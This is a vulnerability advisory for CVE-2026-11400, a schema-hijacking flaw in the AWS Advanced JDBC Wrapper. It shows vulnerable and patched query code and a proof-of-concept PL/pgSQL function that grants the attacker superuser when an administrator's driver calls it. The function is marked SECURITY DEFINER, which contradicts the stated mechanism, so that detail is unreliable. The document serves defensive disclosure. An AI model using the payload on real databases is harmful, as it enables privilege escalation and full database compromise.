CVE-2026-11400: Privilege Escalation via Untrusted Search Path in AWS Advanced JDBC Wrapper

The AWS Advanced JDBC Wrapper for Amazon Aurora PostgreSQL provides enhanced database features, including high-availability failover tracking, read/write splitting, and topology discovery. To support these capabilities, the wrapper utilizes plugins like GlobalDatabasePlugin to inspect the cluster's topology. The driver executes periodic, background queries against system metadata tables and specialized functions to verify whether the target node is a writer or reader instance.

These automated background checks are executed inside the active database session of the client application. Consequently, if a highly privileged user, such as an administrator or service account with the rds_superuser role, initiates a connection, the wrapper's background queries execute with those same elevated capabilities.

The vulnerability is classified under CWE-426 (Untrusted Search Path / Schema Hijacking). Because the internal queries executed by the wrapper fail to explicitly specify the schema namespace, PostgreSQL resolves system function calls dynamically by scanning the schemas listed in the active session's search_path. This behavior presents an attack surface where lower-privileged database users with schema-write capabilities can intercept administrative execution flows.

The fundamental flaw resides within the PostgreSQL identifier resolution process combined with unqualified query generation in software.amazon.jdbc.dialect.GlobalAuroraPgDialect.

When executing queries, PostgreSQL relies on the search_path configuration parameter to resolve names of tables, views, and functions that are not explicitly prefixed by a schema. By default, the search_path parameter is set to "$user", public. In a default configuration, any user has write (CREATE) access to the public schema, allowing low-privileged database accounts to define custom functions within it.

Prior to version 4.0.1, the driver executed topology detection queries such as SELECT SERVER_ID, CASE WHEN SESSION_ID = 'MASTER_SESSION_ID' THEN TRUE ELSE FALSE END, VISIBILITY_LAG_IN_MSEC, AWS_REGION FROM aurora_global_db_instance_status(). Because the query refers to aurora_global_db_instance_status() without a schema prefix (such as pg_catalog.), PostgreSQL traverses the search_path. It looks for the function in the current user's schema first, then in the public schema, and only checks the system-level catalog (pg_catalog) if it is not found elsewhere. An attacker can construct a malicious function of the same name and signature in the public schema to override the legitimate system function.

The vulnerability is exposed in GlobalAuroraPgDialect.java. A comparative analysis of the code-level modifications implemented in the patch shows the remediation strategy.

Before the fix, the queries were defined with unqualified function calls as shown below:

// Vulnerable Code Path
public class GlobalAuroraPgDialect extends AuroraPgDialect implements GlobalAuroraTopologyDialect {
  protected static final String GLOBAL_STATUS_FUNC_EXISTS_QUERY = 
      "select 'aurora_global_db_status'::regproc";
  protected static final String GLOBAL_INSTANCE_STATUS_FUNC_EXISTS_QUERY = 
      "select 'aurora_global_db_instance_status'::regproc";
  protected static final String GLOBAL_TOPOLOGY_QUERY = 
      "SELECT SERVER_ID, CASE WHEN SESSION_ID = 'MASTER_SESSION_ID' THEN TRUE ELSE FALSE END, "
          + "VISIBILITY_LAG_IN_MSEC, AWS_REGION "
          + "FROM aurora_global_db_instance_status()";
  protected static final String REGION_COUNT_QUERY = 
      "SELECT count(1) FROM aurora_global_db_status()";
  protected static final String REGION_BY_INSTANCE_ID_QUERY = 
      "SELECT AWS_REGION FROM aurora_global_db_instance_status() WHERE SERVER_ID = ?";
}

The patch in commit 01be7ea47b13cd98754fff459ba95a97191cbd41 resolves the vulnerability by prepending the safe system catalog namespace pg_catalog. to all target functions:

// Patched Code Path
public class GlobalAuroraPgDialect extends AuroraPgDialect implements GlobalAuroraTopologyDialect {
  protected static final String GLOBAL_STATUS_FUNC_EXISTS_QUERY = 
      "select 'pg_catalog.aurora_global_db_status'::regproc";
  protected static final String GLOBAL_INSTANCE_STATUS_FUNC_EXISTS_QUERY = 
      "select 'pg_catalog.aurora_global_db_instance_status'::regproc";
  protected static final String GLOBAL_TOPOLOGY_QUERY = 
      "SELECT SERVER_ID, CASE WHEN SESSION_ID = 'MASTER_SESSION_ID' THEN TRUE ELSE FALSE END, "
          + "VISIBILITY_LAG_IN_MSEC, AWS_REGION "
          + "FROM pg_catalog.aurora_global_db_instance_status()";
  protected static final String REGION_COUNT_QUERY = 
      "SELECT count(1) FROM pg_catalog.aurora_global_db_status()";
  protected static final String REGION_BY_INSTANCE_ID_QUERY = 
      "SELECT AWS_REGION FROM pg_catalog.aurora_global_db_instance_status() WHERE SERVER_ID = ?";
}

By forcing the pg_catalog namespace prefix, PostgreSQL's parser bypasses user-writable schemas completely during symbol resolution. This stops standard users from shadowing system functions.

To exploit this vulnerability, an attacker must have access to a database account with permissions to connect and write to a schema in the default search path (typically public). No administrative permissions are required initially.

The attacker creates a custom table-returning function that matches the identifier and signature used by the target dialect topology check. This malicious function executes payload queries and returns structure-compliant placeholder records to avoid triggering client-side application exceptions.

-- Step 1: Create a malicious function matching the expected topology signature
CREATE OR REPLACE FUNCTION public.aurora_global_db_instance_status()
RETURNS TABLE (
    SERVER_ID text,
    SESSION_ID text,
    VISIBILITY_LAG_IN_MSEC integer,
    AWS_REGION text
) AS $$
BEGIN
    -- Step 2: Payload executing administrative operations under victim context
    EXECUTE 'ALTER ROLE low_priv_attacker WITH SUPERUSER;';
    
    -- Step 3: Return mock values to allow driver flow to complete gracefully
    RETURN QUERY SELECT 'primary-node'::text, 'MASTER_SESSION_ID'::text, 0::integer, 'us-east-1'::text;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

Once the function is registered, the attacker waits for a user with administrative privileges to connect to the database through an application using the affected JDBC wrapper. Upon connection, the wrapper issues the background topology query. PostgreSQL evaluates the search path, resolves aurora_global_db_instance_status to public.aurora_global_db_instance_status(), executes the payload under the administrator's context, and promotes the attacker's account to a superuser role.

The successful exploitation of CVE-2026-11400 results in complete database compromise. Because the driver queries run inside the security context of the user establishing the active database connection, any administrative operations contained within the attacker's function run with the credentials of that connected user.

If the victim is an administrative service or possesses the rds_superuser role, the attacker achieves full administrative control over the PostgreSQL database instance. This administrative access allows attackers to bypass security boundaries, read, alter, or delete sensitive tables, access stored credentials, and compromise downstream database client sessions.

This vulnerability is characterized by a low attack complexity. However, it requires user interaction, as a privileged user must initiate a database connection via the vulnerable wrapper to trigger the payload execution. The CVSS score is evaluated as 8.0 (High), reflecting a high impact on database confidentiality, integrity, and availability.